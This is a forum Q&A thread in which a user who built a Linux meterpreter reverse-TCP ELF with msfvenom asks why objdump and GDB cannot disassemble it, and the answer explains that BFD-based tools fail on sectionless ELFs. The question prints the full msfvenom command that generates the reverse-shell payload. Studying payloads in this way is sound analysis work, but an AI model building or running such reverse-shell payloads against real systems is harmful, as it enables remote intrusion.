2

i create elf with this command: (Dowanlod file - is elf32)

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5150 -f elf  -o ./rt

and it works nicely, and i want disassemble it but not work:

$ file ./rt
./rt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size

$ objdump -D ./rt

./rt:     file format elf32-i386

$ objdump -d ./rt

./rt:     file format elf32-i386

$ readelf -a ./rt
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048054
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

There are no sections to group in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0x0009b 0x000e2 RWE 0x1000

There is no dynamic section in this file.

There are no relocations in this file.

There are no unwind sections in this file.

No version information found in this file.

how to disassemble it?

2

Use a disassembler which supports ELF files with no sections (objdump is based on BFD library which cannot handle sectionless ELFs).

Alternatively, disassemble it as plain binary, not ELF (objdump -b binary -m i386 -D file.elf) though in that case you'll have to distinguish code from data on your own.

  • thank you , and why i can't see disassmble code in gdb with disass *0xAddressOfBP command? – بارپابابا Oct 29 '16 at 23:04
  • 1
    @Babyy GDB uses BFD too and has issues with sectionless ELFs as well. – Igor Skochinsky Oct 30 '16 at 14:22

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.